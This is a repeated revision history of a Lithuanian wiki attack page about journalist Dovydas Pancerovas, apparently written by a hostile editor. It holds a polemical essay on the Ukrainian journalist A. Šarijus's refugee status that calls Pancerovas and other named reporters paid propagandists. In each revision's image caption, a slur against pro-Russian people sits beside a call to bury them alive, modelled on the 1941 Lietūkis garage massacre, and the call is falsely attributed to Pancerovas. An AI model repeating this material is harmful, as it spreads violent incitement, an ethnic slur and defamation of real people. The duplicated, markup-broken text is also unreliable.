Nesiimu spręsti, ar Lietuvos Migracijos tarnyba tada priėmė teisingą sprendimą, nes nemačiau A.Šarijaus bylos dokumentų, nelabai daug žinau ir apie jo žurnalistinę veiklą Ukrainoje. Tačiau, kiek teko girdėti, kad Migracijos tarnyba pabėgėlio statuso į kairę ir į dešinę lengvai nedalija. Be to, yra įstatymai, apibrėžiantys, kam gali būti toks statusas suteiktas ir spėju, kad juos apeiti nėra labai lengva.<br />
<br />
Kita vertus, objektyviai vertinant, įmanoma, jog tada, 2012 metais, kai Ukrainą valdė V.Janukovyčius, kuris nebuvo Lietuvos ir D.Grybauskaitės draugas, į kai kurias įstatymo nuostatas galmai buvo pažiūrėta pro pirštus, nes Lietuva juk demokratinė valstybė ir kartais draugystė (ypač politinė) gali būti svabesnė nei įstatymai. CŽV kalėjimų istorija tai puikiausiai gali paliudyti.<br />
<br />
Tačiau draugai keičiasi, o įstatymai lieka tie patys, ir tada kyla problemos. Didžiausia problema A.Šarijaus atveju yra ta, kad jis yra tikras žurnalistas. Tikras, šiuo atveju reiškia tas, kuris kritikuoja valdžią ir jos veiksmus, nepaisant to, su kuo ta valdžia draugauja. Tikras reiškia tas, kuris neužmerkia akių prieš “teisingų” politikų ir “teisingos” žiniasklaidos melą, nesirenka draugų ir nesitaiko prie politinės konjunktūros. Tikras reiškia tas, kuris kalba faktais, pateikia argumentus, demaskuoja melą, nepaisant to, kurie – gerieji ar blogieji – tą melą skleidžia.<br />
<br />
Tikrų žurnalistų nėra daug, nes jų niekas nemėgsta. Juos sunku valdyti, jiems negali pateikti užsakymų, jie neparsidavinėja už ordinus ar keliones, ir niekada nežinai, ką jie parašys.<br />
<br />
Greičiausiai todėl A.Šarijus, gavęs Letuvoje politinį prieglobstį, čia buvo paskelbtas “Kremliaus agentu”. Nes juk tik Kremliaus agentai gali kritikuoti dabartinę Ukrainos valdžią, dabartinį prezidentą Petro Porošenką. Tik Kremliaus agentas gali teigti, kad žurnalistai Ukrainoje šiandien yra persekiojami už žodžio laisvę ir televizijos kanalai uždaromi už pareiškimus, neatitinkančius oficialios valdžios pozicijos. Nes mes juk žinome, kad Ukrainoje viso to negali būti, nes ši valstybė yra draugiška Lietuvai, o šios valstybės prezidentas yra mūsų prezidentės draugas.<br />
<br />
Ir tikriausiai tik sutapimas yra tai, kad žinomo Lietuvoje informacinio karo ir anoniminių specialiųjų šalies tarnybų pažymų specialisto Dovydo Pancerovo rašinys apie tai, kad A.Šarijus gali netekti pabėgėlio statuso Lietuvoje, yra paskelbiamas tuo metu, kai Dalia Grybauskaitė rengiasi aplankyti savo draugą P.Porošenko. O pas draugus juk nevažiuojama tuščiomis rankomis, jiems vežamos dovanos.<br />
<br />
Tik sutapimas turbūt yra ir tai, kad būtent D.Pancerovas pirmasis sužino apie Migracijos departamento pradėtą tyrimą dėl A.Šarijaus, kuris taip nemėgsta dabartinės Ukrainos valdžios ir taip ją kritikuoja, kad net pabėgėlio statuso nebevertas. Nors Lietuvos įstatymai ir nenumato, kad pabėgėlio statusas gali būti atimtas dėl kritikos. Net kai kritikuoji tuos, kurių negalima kritikuoti. Nors įstatymai baigtinio nekritikuojamų sąrašo ir nepateikia.<br />
<br />
A.Šarijaus istorija yra ne apie jį ir ne apie jo reiškiamą kritiką dabartinei Ukrainos valdžiai. A.Šarijaus istorija yra apie išsigimstančią demokratiją Lietuvoje valdant prezidentei Daliai Grybauskaitei. A.Šarijaus istorija yra apie – kad ir kaip makabriškai tai skambėtų – dalies Lietuvos žiniasklaidos ir dalies politikų pastangas įtikinti mus, kad žodžio laisvė gali būti teisinga ir ne, kad kritikuoti galima ne visus ir kad politiniai interesai yra svarbesni už teisę turėti savo nuomonę.<br />
<br />
A.Šarijaus istorija yra ir apie mane, nes aš labai gerai žinau, kaip, padedant pancerovams, černiauskams, ramanauskams ir garbačiauskaitėms, Lietuvoje lengva tapti Kremliaus agentu. A.Šarijus to nežinojo, o aš neturėjau progos jam to papasakoti. Gal, jei būčiau spėjęs, būtų geriau pagalvojęs, ar verta toliau kritikuoti tuos, kurių kritikuoti Lietuvoje nevalia. Nors tikriausiai ne, nes jis, panašu, jau seniai yra įsitikinęs, kad žodžio laisvė nėra vien fikcija.<br />
<br />
15min.lt darbuotojas ir informacinio karo priešakinių linijų karys D.Pancerovas savo rašinėlyje A.Šarijų įvardija kaip “žurnalistu save vadinantį ukrainietį”. Pats A.Šarijus savo paskyroje socialiniame tinkle Facebook D.Pancerovą vadina sunkiai išverčiamu, bet aiškią prasmę turinčių rusišku žodžiu “čmo”.<br />
<br />
Aš pritariu A.Šarijui ir vis dar esu įsitikinęs, kad nepaisant kai kurių politikų pastangų ir tuos politikus aptarnaujančių kai kurių noriai parsidavinėjančių žiniasklaidos fronto darbuotojų, Lietuva dar nėra ta valstybė, kurioje žodžio laisvė yra tik fikcija ir kurioje vardan politinių interesų ir asmeninės draugystės, galima paaukoti demokratijos principus, žodžio laisvę ir juos ginantį svetimos šalies žurnalistą.</div>Panceris88https://www.pipedija.com/index.php?title=Dovydas_Pancerovas&diff=46594Dovydas Pancerovas2015-07-20T19:17:18Z<p>Panceris88: </p>
<hr />
<div>{{Abejotinas}} [[Vaizdas:Pa.jpeg|200px|thumb|left|alternatyvusis tekstas]] Pancerovo keslai:Labai abejoju, kad kur nors nacių okupuotoje teritorijoje, miestų ar kaimų centruose, yra paminklų, šlovinančių žudikus: amžina šlovė Vermachtui, čia ilsisi šaunieji Waffen SS kariai!<br />
<br />
Susivokęs žmogus tokių karių nesmerkia, nes jie tarnavo, bet ir nešlovina.<br />
<br />
Tad po Žaliojo tilto balvonų būtų laikas pradėti galvoti apie okupantų raudonarmiečių kapų iškėlimą už miestų ribų. Arba bent jau propagandinių, melą skleidžiančių paminklų nuėmimą. Na va, galų gale, tom pačiom lopetom, Dovydas Pancerovas, kuriom iškasi lavonus, reikėtų ir vis dar gyvus vatnikus užtvatinti (jei reikės patirties, semkis iš Kauno Lietūkio garažo). Ukrainiečių žurnalisto Anatolijaus Šarijaus istorija Lietuvoje yra labai svarbi mums, gyvenantiems Lietuvoje. Iš tikrųjų tai net ne A.Šarijaus istorija, tai – apie Lietuvą, apie demokratiją mūsų valstybėje, apie žodžio laisvę ir požiūrį į jį, apie žurnalistus ir tuos kurie save taip vadina, o iš tiesų, pamynę bet kokias etikos ir profesionalumo normas, spjovę į bet kokį padorumą, dirba ne visuomenei, o pagal valdžios užsakymą.<br />
<br />
Faktai yra visiems žinomi – Lietuva 2012 metais, išnagrinėjusi A.Šarijaus prašymą, suteikė jam politinį prieglobstį. Sprendimas buvo priimtas atsižvelgus į ukrainiečio pateiktus dokumentus ir paaiškinimus apie jam Ukrainoje iškeltas dvi baudžiamąsias bylas, kurios, pasak paties A.Šarijaus, V.Janukovyčiaus valdžios buvo sufabrikuotos keršijant už jo žurnalistinę veiklą.<br />
<br />
Nesiimu spręsti, ar Lietuvos Migracijos tarnyba tada priėmė teisingą sprendimą, nes nemačiau A.Šarijaus bylos dokumentų, nelabai daug žinau ir apie jo žurnalistinę veiklą Ukrainoje. Tačiau, kiek teko girdėti, kad Migracijos tarnyba pabėgėlio statuso į kairę ir į dešinę lengvai nedalija. Be to, yra įstatymai, apibrėžiantys, kam gali būti toks statusas suteiktas ir spėju, kad juos apeiti nėra labai lengva.<br />
<br />
Kita vertus, objektyviai vertinant, įmanoma, jog tada, 2012 metais, kai Ukrainą valdė V.Janukovyčius, kuris nebuvo Lietuvos ir D.Grybauskaitės draugas, į kai kurias įstatymo nuostatas galmai buvo pažiūrėta pro pirštus, nes Lietuva juk demokratinė valstybė ir kartais draugystė (ypač politinė) gali būti svabesnė nei įstatymai. CŽV kalėjimų istorija tai puikiausiai gali paliudyti.<br />
<br />
Tačiau draugai keičiasi, o įstatymai lieka tie patys, ir tada kyla problemos. Didžiausia problema A.Šarijaus atveju yra ta, kad jis yra tikras žurnalistas. Tikras, šiuo atveju reiškia tas, kuris kritikuoja valdžią ir jos veiksmus, nepaisant to, su kuo ta valdžia draugauja. Tikras reiškia tas, kuris neužmerkia akių prieš “teisingų” politikų ir “teisingos” žiniasklaidos melą, nesirenka draugų ir nesitaiko prie politinės konjunktūros. Tikras reiškia tas, kuris kalba faktais, pateikia argumentus, demaskuoja melą, nepaisant to, kurie – gerieji ar blogieji – tą melą skleidžia.<br />
<br />
Tikrų žurnalistų nėra daug, nes jų niekas nemėgsta. Juos sunku valdyti, jiems negali pateikti užsakymų, jie neparsidavinėja už ordinus ar keliones, ir niekada nežinai, ką jie parašys.<br />
<br />
Greičiausiai todėl A.Šarijus, gavęs Letuvoje politinį prieglobstį, čia buvo paskelbtas “Kremliaus agentu”. Nes juk tik Kremliaus agentai gali kritikuoti dabartinę Ukrainos valdžią, dabartinį prezidentą Petro Porošenką. Tik Kremliaus agentas gali teigti, kad žurnalistai Ukrainoje šiandien yra persekiojami už žodžio laisvę ir televizijos kanalai uždaromi už pareiškimus, neatitinkančius oficialios valdžios pozicijos. Nes mes juk žinome, kad Ukrainoje viso to negali būti, nes ši valstybė yra draugiška Lietuvai, o šios valstybės prezidentas yra mūsų prezidentės draugas.<br />
<br />
Ir tikriausiai tik sutapimas yra tai, kad žinomo Lietuvoje informacinio karo ir anoniminių specialiųjų šalies tarnybų pažymų specialisto Dovydo Pancerovo rašinys apie tai, kad A.Šarijus gali netekti pabėgėlio statuso Lietuvoje, yra paskelbiamas tuo metu, kai Dalia Grybauskaitė rengiasi aplankyti savo draugą P.Porošenko. O pas draugus juk nevažiuojama tuščiomis rankomis, jiems vežamos dovanos.<br />
<br />
Tik sutapimas turbūt yra ir tai, kad būtent D.Pancerovas pirmasis sužino apie Migracijos departamento pradėtą tyrimą dėl A.Šarijaus, kuris taip nemėgsta dabartinės Ukrainos valdžios ir taip ją kritikuoja, kad net pabėgėlio statuso nebevertas. Nors Lietuvos įstatymai ir nenumato, kad pabėgėlio statusas gali būti atimtas dėl kritikos. Net kai kritikuoji tuos, kurių negalima kritikuoti. Nors įstatymai baigtinio nekritikuojamų sąrašo ir nepateikia.<br />
<br />
A.Šarijaus istorija yra ne apie jį ir ne apie jo reiškiamą kritiką dabartinei Ukrainos valdžiai. A.Šarijaus istorija yra apie išsigimstančią demokratiją Lietuvoje valdant prezidentei Daliai Grybauskaitei. A.Šarijaus istorija yra apie – kad ir kaip makabriškai tai skambėtų – dalies Lietuvos žiniasklaidos ir dalies politikų pastangas įtikinti mus, kad žodžio laisvė gali būti teisinga ir ne, kad kritikuoti galima ne visus ir kad politiniai interesai yra svarbesni už teisę turėti savo nuomonę.<br />
<br />
A.Šarijaus istorija yra ir apie mane, nes aš labai gerai žinau, kaip, padedant pancerovams, černiauskams, ramanauskams ir garbačiauskaitėms, Lietuvoje lengva tapti Kremliaus agentu. A.Šarijus to nežinojo, o aš neturėjau progos jam to papasakoti. Gal, jei būčiau spėjęs, būtų geriau pagalvojęs, ar verta toliau kritikuoti tuos, kurių kritikuoti Lietuvoje nevalia. Nors tikriausiai ne, nes jis, panašu, jau seniai yra įsitikinęs, kad žodžio laisvė nėra vien fikcija.<br />
<br />
15min.lt darbuotojas ir informacinio karo priešakinių linijų karys D.Pancerovas savo rašinėlyje A.Šarijų įvardija kaip “žurnalistu save vadinantį ukrainietį”. Pats A.Šarijus savo paskyroje socialiniame tinkle Facebook D.Pancerovą vadina sunkiai išverčiamu, bet aiškią prasmę turinčių rusišku žodžiu “čmo”.<br />
<br />
Aš pritariu A.Šarijui ir vis dar esu įsitikinęs, kad nepaisant kai kurių politikų pastangų ir tuos politikus aptarnaujančių kai kurių noriai parsidavinėjančių žiniasklaidos fronto darbuotojų, Lietuva dar nėra ta valstybė, kurioje žodžio laisvė yra tik fikcija ir kurioje vardan politinių interesų ir asmeninės draugystės, galima paaukoti demokratijos principus, žodžio laisvę ir juos ginantį svetimos šalies žurnalistą.</div>Panceris88https://www.pipedija.com/index.php?title=Dovydas_Pancerovas&diff=46593Dovydas Pancerovas2015-07-20T19:15:28Z<p>Panceris88: </p>
<hr />
<div>{{Abejotinas}} [[Vaizdas:Pa.jpeg|thumb|right|300px|Pancerovo keslai:Labai abejoju, kad kur nors nacių okupuotoje teritorijoje, miestų ar kaimų centruose, yra paminklų, šlovinančių žudikus: amžina šlovė Vermachtui, čia ilsisi šaunieji Waffen SS kariai!<br />
<br />
Susivokęs žmogus tokių karių nesmerkia, nes jie tarnavo, bet ir nešlovina.<br />
<br />
Tad po Žaliojo tilto balvonų būtų laikas pradėti galvoti apie okupantų raudonarmiečių kapų iškėlimą už miestų ribų. Arba bent jau propagandinių, melą skleidžiančių paminklų nuėmimą. Na va, galų gale, tom pačiom lopetom, Dovydas Pancerovas, kuriom iškasi lavonus, reikėtų ir vis dar gyvus vatnikus užtvatinti (jei reikės patirties, semkis iš Kauno Lietūkio garažo). Ukrainiečių žurnalisto Anatolijaus Šarijaus istorija Lietuvoje yra labai svarbi mums, gyvenantiems Lietuvoje. Iš tikrųjų tai net ne A.Šarijaus istorija, tai – apie Lietuvą, apie demokratiją mūsų valstybėje, apie žodžio laisvę ir požiūrį į jį, apie žurnalistus ir tuos kurie save taip vadina, o iš tiesų, pamynę bet kokias etikos ir profesionalumo normas, spjovę į bet kokį padorumą, dirba ne visuomenei, o pagal valdžios užsakymą.<br />
<br />
Faktai yra visiems žinomi – Lietuva 2012 metais, išnagrinėjusi A.Šarijaus prašymą, suteikė jam politinį prieglobstį. Sprendimas buvo priimtas atsižvelgus į ukrainiečio pateiktus dokumentus ir paaiškinimus apie jam Ukrainoje iškeltas dvi baudžiamąsias bylas, kurios, pasak paties A.Šarijaus, V.Janukovyčiaus valdžios buvo sufabrikuotos keršijant už jo žurnalistinę veiklą.<br />
<br />
Nesiimu spręsti, ar Lietuvos Migracijos tarnyba tada priėmė teisingą sprendimą, nes nemačiau A.Šarijaus bylos dokumentų, nelabai daug žinau ir apie jo žurnalistinę veiklą Ukrainoje. Tačiau, kiek teko girdėti, kad Migracijos tarnyba pabėgėlio statuso į kairę ir į dešinę lengvai nedalija. Be to, yra įstatymai, apibrėžiantys, kam gali būti toks statusas suteiktas ir spėju, kad juos apeiti nėra labai lengva.<br />
<br />
Kita vertus, objektyviai vertinant, įmanoma, jog tada, 2012 metais, kai Ukrainą valdė V.Janukovyčius, kuris nebuvo Lietuvos ir D.Grybauskaitės draugas, į kai kurias įstatymo nuostatas galmai buvo pažiūrėta pro pirštus, nes Lietuva juk demokratinė valstybė ir kartais draugystė (ypač politinė) gali būti svabesnė nei įstatymai. CŽV kalėjimų istorija tai puikiausiai gali paliudyti.<br />
<br />
Tačiau draugai keičiasi, o įstatymai lieka tie patys, ir tada kyla problemos. Didžiausia problema A.Šarijaus atveju yra ta, kad jis yra tikras žurnalistas. Tikras, šiuo atveju reiškia tas, kuris kritikuoja valdžią ir jos veiksmus, nepaisant to, su kuo ta valdžia draugauja. Tikras reiškia tas, kuris neužmerkia akių prieš “teisingų” politikų ir “teisingos” žiniasklaidos melą, nesirenka draugų ir nesitaiko prie politinės konjunktūros. Tikras reiškia tas, kuris kalba faktais, pateikia argumentus, demaskuoja melą, nepaisant to, kurie – gerieji ar blogieji – tą melą skleidžia.<br />
<br />
Tikrų žurnalistų nėra daug, nes jų niekas nemėgsta. Juos sunku valdyti, jiems negali pateikti užsakymų, jie neparsidavinėja už ordinus ar keliones, ir niekada nežinai, ką jie parašys.<br />
<br />
Greičiausiai todėl A.Šarijus, gavęs Letuvoje politinį prieglobstį, čia buvo paskelbtas “Kremliaus agentu”. Nes juk tik Kremliaus agentai gali kritikuoti dabartinę Ukrainos valdžią, dabartinį prezidentą Petro Porošenką. Tik Kremliaus agentas gali teigti, kad žurnalistai Ukrainoje šiandien yra persekiojami už žodžio laisvę ir televizijos kanalai uždaromi už pareiškimus, neatitinkančius oficialios valdžios pozicijos. Nes mes juk žinome, kad Ukrainoje viso to negali būti, nes ši valstybė yra draugiška Lietuvai, o šios valstybės prezidentas yra mūsų prezidentės draugas.<br />
<br />
Ir tikriausiai tik sutapimas yra tai, kad žinomo Lietuvoje informacinio karo ir anoniminių specialiųjų šalies tarnybų pažymų specialisto Dovydo Pancerovo rašinys apie tai, kad A.Šarijus gali netekti pabėgėlio statuso Lietuvoje, yra paskelbiamas tuo metu, kai Dalia Grybauskaitė rengiasi aplankyti savo draugą P.Porošenko. O pas draugus juk nevažiuojama tuščiomis rankomis, jiems vežamos dovanos.<br />
<br />
Tik sutapimas turbūt yra ir tai, kad būtent D.Pancerovas pirmasis sužino apie Migracijos departamento pradėtą tyrimą dėl A.Šarijaus, kuris taip nemėgsta dabartinės Ukrainos valdžios ir taip ją kritikuoja, kad net pabėgėlio statuso nebevertas. Nors Lietuvos įstatymai ir nenumato, kad pabėgėlio statusas gali būti atimtas dėl kritikos. Net kai kritikuoji tuos, kurių negalima kritikuoti. Nors įstatymai baigtinio nekritikuojamų sąrašo ir nepateikia.<br />
<br />
A.Šarijaus istorija yra ne apie jį ir ne apie jo reiškiamą kritiką dabartinei Ukrainos valdžiai. A.Šarijaus istorija yra apie išsigimstančią demokratiją Lietuvoje valdant prezidentei Daliai Grybauskaitei. A.Šarijaus istorija yra apie – kad ir kaip makabriškai tai skambėtų – dalies Lietuvos žiniasklaidos ir dalies politikų pastangas įtikinti mus, kad žodžio laisvė gali būti teisinga ir ne, kad kritikuoti galima ne visus ir kad politiniai interesai yra svarbesni už teisę turėti savo nuomonę.<br />
<br />
A.Šarijaus istorija yra ir apie mane, nes aš labai gerai žinau, kaip, padedant pancerovams, černiauskams, ramanauskams ir garbačiauskaitėms, Lietuvoje lengva tapti Kremliaus agentu. A.Šarijus to nežinojo, o aš neturėjau progos jam to papasakoti. Gal, jei būčiau spėjęs, būtų geriau pagalvojęs, ar verta toliau kritikuoti tuos, kurių kritikuoti Lietuvoje nevalia. Nors tikriausiai ne, nes jis, panašu, jau seniai yra įsitikinęs, kad žodžio laisvė nėra vien fikcija.<br />
<br />
15min.lt darbuotojas ir informacinio karo priešakinių linijų karys D.Pancerovas savo rašinėlyje A.Šarijų įvardija kaip “žurnalistu save vadinantį ukrainietį”. Pats A.Šarijus savo paskyroje socialiniame tinkle Facebook D.Pancerovą vadina sunkiai išverčiamu, bet aiškią prasmę turinčių rusišku žodžiu “čmo”.<br />
<br />
Aš pritariu A.Šarijui ir vis dar esu įsitikinęs, kad nepaisant kai kurių politikų pastangų ir tuos politikus aptarnaujančių kai kurių noriai parsidavinėjančių žiniasklaidos fronto darbuotojų, Lietuva dar nėra ta valstybė, kurioje žodžio laisvė yra tik fikcija ir kurioje vardan politinių interesų ir asmeninės draugystės, galima paaukoti demokratijos principus, žodžio laisvę ir juos ginantį svetimos šalies žurnalistą.</div>Panceris88https://www.pipedija.com/index.php?title=Dovydas_Pancerovas&diff=46592Dovydas Pancerovas2015-07-20T19:12:20Z<p>Panceris88: </p>
<hr />
<div>{{Abejotinas}} [[Vaizdas:Pa.jpeg|350px|thumb|right|Pancerovo keslai:Labai abejoju, kad kur nors nacių okupuotoje teritorijoje, miestų ar kaimų centruose, yra paminklų, šlovinančių žudikus: amžina šlovė Vermachtui, čia ilsisi šaunieji Waffen SS kariai!<br />
<br />
Susivokęs žmogus tokių karių nesmerkia, nes jie tarnavo, bet ir nešlovina.<br />
<br />
Tad po Žaliojo tilto balvonų būtų laikas pradėti galvoti apie okupantų raudonarmiečių kapų iškėlimą už miestų ribų. Arba bent jau propagandinių, melą skleidžiančių paminklų nuėmimą. Na va, galų gale, tom pačiom lopetom, Dovydas Pancerovas, kuriom iškasi lavonus, reikėtų ir vis dar gyvus vatnikus užtvatinti (jei reikės patirties, semkis iš Kauno Lietūkio garažo). Ukrainiečių žurnalisto Anatolijaus Šarijaus istorija Lietuvoje yra labai svarbi mums, gyvenantiems Lietuvoje. Iš tikrųjų tai net ne A.Šarijaus istorija, tai – apie Lietuvą, apie demokratiją mūsų valstybėje, apie žodžio laisvę ir požiūrį į jį, apie žurnalistus ir tuos kurie save taip vadina, o iš tiesų, pamynę bet kokias etikos ir profesionalumo normas, spjovę į bet kokį padorumą, dirba ne visuomenei, o pagal valdžios užsakymą.<br />
<br />
Faktai yra visiems žinomi – Lietuva 2012 metais, išnagrinėjusi A.Šarijaus prašymą, suteikė jam politinį prieglobstį. Sprendimas buvo priimtas atsižvelgus į ukrainiečio pateiktus dokumentus ir paaiškinimus apie jam Ukrainoje iškeltas dvi baudžiamąsias bylas, kurios, pasak paties A.Šarijaus, V.Janukovyčiaus valdžios buvo sufabrikuotos keršijant už jo žurnalistinę veiklą.<br />
<br />
Nesiimu spręsti, ar Lietuvos Migracijos tarnyba tada priėmė teisingą sprendimą, nes nemačiau A.Šarijaus bylos dokumentų, nelabai daug žinau ir apie jo žurnalistinę veiklą Ukrainoje. Tačiau, kiek teko girdėti, kad Migracijos tarnyba pabėgėlio statuso į kairę ir į dešinę lengvai nedalija. Be to, yra įstatymai, apibrėžiantys, kam gali būti toks statusas suteiktas ir spėju, kad juos apeiti nėra labai lengva.<br />
<br />
Kita vertus, objektyviai vertinant, įmanoma, jog tada, 2012 metais, kai Ukrainą valdė V.Janukovyčius, kuris nebuvo Lietuvos ir D.Grybauskaitės draugas, į kai kurias įstatymo nuostatas galmai buvo pažiūrėta pro pirštus, nes Lietuva juk demokratinė valstybė ir kartais draugystė (ypač politinė) gali būti svabesnė nei įstatymai. CŽV kalėjimų istorija tai puikiausiai gali paliudyti.<br />
<br />
Tačiau draugai keičiasi, o įstatymai lieka tie patys, ir tada kyla problemos. Didžiausia problema A.Šarijaus atveju yra ta, kad jis yra tikras žurnalistas. Tikras, šiuo atveju reiškia tas, kuris kritikuoja valdžią ir jos veiksmus, nepaisant to, su kuo ta valdžia draugauja. Tikras reiškia tas, kuris neužmerkia akių prieš “teisingų” politikų ir “teisingos” žiniasklaidos melą, nesirenka draugų ir nesitaiko prie politinės konjunktūros. Tikras reiškia tas, kuris kalba faktais, pateikia argumentus, demaskuoja melą, nepaisant to, kurie – gerieji ar blogieji – tą melą skleidžia.<br />
<br />
Tikrų žurnalistų nėra daug, nes jų niekas nemėgsta. Juos sunku valdyti, jiems negali pateikti užsakymų, jie neparsidavinėja už ordinus ar keliones, ir niekada nežinai, ką jie parašys.<br />
<br />
Greičiausiai todėl A.Šarijus, gavęs Letuvoje politinį prieglobstį, čia buvo paskelbtas “Kremliaus agentu”. Nes juk tik Kremliaus agentai gali kritikuoti dabartinę Ukrainos valdžią, dabartinį prezidentą Petro Porošenką. Tik Kremliaus agentas gali teigti, kad žurnalistai Ukrainoje šiandien yra persekiojami už žodžio laisvę ir televizijos kanalai uždaromi už pareiškimus, neatitinkančius oficialios valdžios pozicijos. Nes mes juk žinome, kad Ukrainoje viso to negali būti, nes ši valstybė yra draugiška Lietuvai, o šios valstybės prezidentas yra mūsų prezidentės draugas.<br />
<br />
Ir tikriausiai tik sutapimas yra tai, kad žinomo Lietuvoje informacinio karo ir anoniminių specialiųjų šalies tarnybų pažymų specialisto Dovydo Pancerovo rašinys apie tai, kad A.Šarijus gali netekti pabėgėlio statuso Lietuvoje, yra paskelbiamas tuo metu, kai Dalia Grybauskaitė rengiasi aplankyti savo draugą P.Porošenko. O pas draugus juk nevažiuojama tuščiomis rankomis, jiems vežamos dovanos.<br />
<br />
Tik sutapimas turbūt yra ir tai, kad būtent D.Pancerovas pirmasis sužino apie Migracijos departamento pradėtą tyrimą dėl A.Šarijaus, kuris taip nemėgsta dabartinės Ukrainos valdžios ir taip ją kritikuoja, kad net pabėgėlio statuso nebevertas. Nors Lietuvos įstatymai ir nenumato, kad pabėgėlio statusas gali būti atimtas dėl kritikos. Net kai kritikuoji tuos, kurių negalima kritikuoti. Nors įstatymai baigtinio nekritikuojamų sąrašo ir nepateikia.<br />
<br />
A.Šarijaus istorija yra ne apie jį ir ne apie jo reiškiamą kritiką dabartinei Ukrainos valdžiai. A.Šarijaus istorija yra apie išsigimstančią demokratiją Lietuvoje valdant prezidentei Daliai Grybauskaitei. A.Šarijaus istorija yra apie – kad ir kaip makabriškai tai skambėtų – dalies Lietuvos žiniasklaidos ir dalies politikų pastangas įtikinti mus, kad žodžio laisvė gali būti teisinga ir ne, kad kritikuoti galima ne visus ir kad politiniai interesai yra svarbesni už teisę turėti savo nuomonę.<br />
<br />
A.Šarijaus istorija yra ir apie mane, nes aš labai gerai žinau, kaip, padedant pancerovams, černiauskams, ramanauskams ir garbačiauskaitėms, Lietuvoje lengva tapti Kremliaus agentu. A.Šarijus to nežinojo, o aš neturėjau progos jam to papasakoti. Gal, jei būčiau spėjęs, būtų geriau pagalvojęs, ar verta toliau kritikuoti tuos, kurių kritikuoti Lietuvoje nevalia. Nors tikriausiai ne, nes jis, panašu, jau seniai yra įsitikinęs, kad žodžio laisvė nėra vien fikcija.<br />
<br />
15min.lt darbuotojas ir informacinio karo priešakinių linijų karys D.Pancerovas savo rašinėlyje A.Šarijų įvardija kaip “žurnalistu save vadinantį ukrainietį”. Pats A.Šarijus savo paskyroje socialiniame tinkle Facebook D.Pancerovą vadina sunkiai išverčiamu, bet aiškią prasmę turinčių rusišku žodžiu “čmo”.<br />
<br />
Aš pritariu A.Šarijui ir vis dar esu įsitikinęs, kad nepaisant kai kurių politikų pastangų ir tuos politikus aptarnaujančių kai kurių noriai parsidavinėjančių žiniasklaidos fronto darbuotojų, Lietuva dar nėra ta valstybė, kurioje žodžio laisvė yra tik fikcija ir kurioje vardan politinių interesų ir asmeninės draugystės, galima paaukoti demokratijos principus, žodžio laisvę ir juos ginantį svetimos šalies žurnalistą.</div>Panceris88https://www.pipedija.com/index.php?title=Dovydas_Pancerovas&diff=46591Dovydas Pancerovas2015-07-20T19:10:48Z<p>Panceris88: </p>
<hr />
<div>{{Abejotinas}} [[Vaizdas:Pa.jpeg]]350px|thumb|right|Pancerovo keslai:Labai abejoju, kad kur nors nacių okupuotoje teritorijoje, miestų ar kaimų centruose, yra paminklų, šlovinančių žudikus: amžina šlovė Vermachtui, čia ilsisi šaunieji Waffen SS kariai!<br />
<br />
Susivokęs žmogus tokių karių nesmerkia, nes jie tarnavo, bet ir nešlovina.<br />
<br />
Tad po Žaliojo tilto balvonų būtų laikas pradėti galvoti apie okupantų raudonarmiečių kapų iškėlimą už miestų ribų. Arba bent jau propagandinių, melą skleidžiančių paminklų nuėmimą. Na va, galų gale, tom pačiom lopetom, Dovydas Pancerovas, kuriom iškasi lavonus, reikėtų ir vis dar gyvus vatnikus užtvatinti (jei reikės patirties, semkis iš Kauno Lietūkio garažo). Ukrainiečių žurnalisto Anatolijaus Šarijaus istorija Lietuvoje yra labai svarbi mums, gyvenantiems Lietuvoje. Iš tikrųjų tai net ne A.Šarijaus istorija, tai – apie Lietuvą, apie demokratiją mūsų valstybėje, apie žodžio laisvę ir požiūrį į jį, apie žurnalistus ir tuos kurie save taip vadina, o iš tiesų, pamynę bet kokias etikos ir profesionalumo normas, spjovę į bet kokį padorumą, dirba ne visuomenei, o pagal valdžios užsakymą.<br />
<br />
Faktai yra visiems žinomi – Lietuva 2012 metais, išnagrinėjusi A.Šarijaus prašymą, suteikė jam politinį prieglobstį. Sprendimas buvo priimtas atsižvelgus į ukrainiečio pateiktus dokumentus ir paaiškinimus apie jam Ukrainoje iškeltas dvi baudžiamąsias bylas, kurios, pasak paties A.Šarijaus, V.Janukovyčiaus valdžios buvo sufabrikuotos keršijant už jo žurnalistinę veiklą.<br />
<br />
Nesiimu spręsti, ar Lietuvos Migracijos tarnyba tada priėmė teisingą sprendimą, nes nemačiau A.Šarijaus bylos dokumentų, nelabai daug žinau ir apie jo žurnalistinę veiklą Ukrainoje. Tačiau, kiek teko girdėti, kad Migracijos tarnyba pabėgėlio statuso į kairę ir į dešinę lengvai nedalija. Be to, yra įstatymai, apibrėžiantys, kam gali būti toks statusas suteiktas ir spėju, kad juos apeiti nėra labai lengva.<br />
<br />
Kita vertus, objektyviai vertinant, įmanoma, jog tada, 2012 metais, kai Ukrainą valdė V.Janukovyčius, kuris nebuvo Lietuvos ir D.Grybauskaitės draugas, į kai kurias įstatymo nuostatas galmai buvo pažiūrėta pro pirštus, nes Lietuva juk demokratinė valstybė ir kartais draugystė (ypač politinė) gali būti svabesnė nei įstatymai. CŽV kalėjimų istorija tai puikiausiai gali paliudyti.<br />
<br />
Tačiau draugai keičiasi, o įstatymai lieka tie patys, ir tada kyla problemos. Didžiausia problema A.Šarijaus atveju yra ta, kad jis yra tikras žurnalistas. Tikras, šiuo atveju reiškia tas, kuris kritikuoja valdžią ir jos veiksmus, nepaisant to, su kuo ta valdžia draugauja. Tikras reiškia tas, kuris neužmerkia akių prieš “teisingų” politikų ir “teisingos” žiniasklaidos melą, nesirenka draugų ir nesitaiko prie politinės konjunktūros. Tikras reiškia tas, kuris kalba faktais, pateikia argumentus, demaskuoja melą, nepaisant to, kurie – gerieji ar blogieji – tą melą skleidžia.<br />
<br />
Tikrų žurnalistų nėra daug, nes jų niekas nemėgsta. Juos sunku valdyti, jiems negali pateikti užsakymų, jie neparsidavinėja už ordinus ar keliones, ir niekada nežinai, ką jie parašys.<br />
<br />
Greičiausiai todėl A.Šarijus, gavęs Letuvoje politinį prieglobstį, čia buvo paskelbtas “Kremliaus agentu”. Nes juk tik Kremliaus agentai gali kritikuoti dabartinę Ukrainos valdžią, dabartinį prezidentą Petro Porošenką. Tik Kremliaus agentas gali teigti, kad žurnalistai Ukrainoje šiandien yra persekiojami už žodžio laisvę ir televizijos kanalai uždaromi už pareiškimus, neatitinkančius oficialios valdžios pozicijos. Nes mes juk žinome, kad Ukrainoje viso to negali būti, nes ši valstybė yra draugiška Lietuvai, o šios valstybės prezidentas yra mūsų prezidentės draugas.<br />
<br />
